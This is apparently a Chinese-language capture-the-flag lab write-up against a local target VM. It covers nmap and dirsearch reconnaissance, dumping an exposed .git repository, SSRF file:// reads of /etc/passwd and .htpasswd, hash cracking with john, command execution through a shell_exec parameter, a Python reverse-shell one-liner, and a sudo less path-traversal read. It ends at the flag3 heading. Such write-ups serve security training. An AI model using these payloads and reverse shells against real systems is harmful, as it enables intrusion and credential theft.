实验环境:

kali:192.168.106.100/24

靶机:192.168.106.104/24

一.信息收集

先利用nmap对同网段进行扫描

nmap -sP 192.168.106.0/24

发现靶机IP为192.168.106.104/24

接着用nmap对192.168.106.104进行端口扫描

nmap -sV -sT -P- 192.168.106.104

接着进行信息收集,用dirsearch进行扫描

dirsearch -u http://192.168.106.104 -e php,txt,bak,swp,old,phps,json

扫描结果发现存在大量.git,.htaccess,.htpasswd等敏感文件

二.GIT信息泄露

先从.git入手,使用git-dumper工具将整个仓库一起拉取到本地,获取应用源代码

git-dumper http://192.168.106.104/.git/ /tmp/git-dumper

查看db.php

获取数据库用户名和密码

查看api下的admin_panel文件,发现其包含了input_token

$auth_hash = '9f9d51bc70ef21ca5c14f307980a29d8';
 
if (md5($input_token) === $auth_hash) {
    $authenticated = true;
    if (isset($_GET['exec'])) {
        $output = shell_exec($_GET['exec']);
    }
}

此处为后续所需的运维令牌,后续在管理界面发现token长度检验为3位,加密方式为MD5(密码+时间戳),进行破译后得到token:bob

三.获取flag1

访问Web网页

试图用万能密码进行绕过,但以失败告终。注册了一个新用户进行登录,发现内部包含URL检测和模块加载器

URL检测使用curl发起请求,支持file://协议,利用该协议读取/etc/passwd,发现存在mysql以及用户liwei

file://etc/passwd

利用file://协议读取Apache的.htaccess配置文件

file:///var/www/html/api/.htaccess

得知.htpasswd密码文件路径

用同样的方式去读取.htpasswd

file:///var/www/html/api/.htpasswd

获得用户zhangwei的密码,对其进行解密,获得密码:trustno1

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

利用该用户身份进行API 认证,认证通过。

构造url去读取flag1文件

http://192.168.106.104/api/loader.php?module=admin_panel&token=bob&exec=cat+/var/www/flag1.txt

四.获取flag2

构造url进行反弹shell,在kali上进行监听,成功反弹shell

http://192.168.106.104/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.106.104",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

连接数据库,查看users表格,获取admin的密码

密码破译:dragon

存在密码复用,切换用户liwei,该用户密码与admin一致

su liwei #输入密码:dragon

回到liwei用户家目录,获取flag2.txt内容

五.获取flag3

利用sudo -l,发现

发现有NOPASSWD的权利:(ALL) NOPASSWD: /usr/bin/less /var/log/abyss/*

利用路径遍历绕过限制:

sudo/usr/bin/less /var/log/abyss/../../../flag3.txt

成功读取 flag3: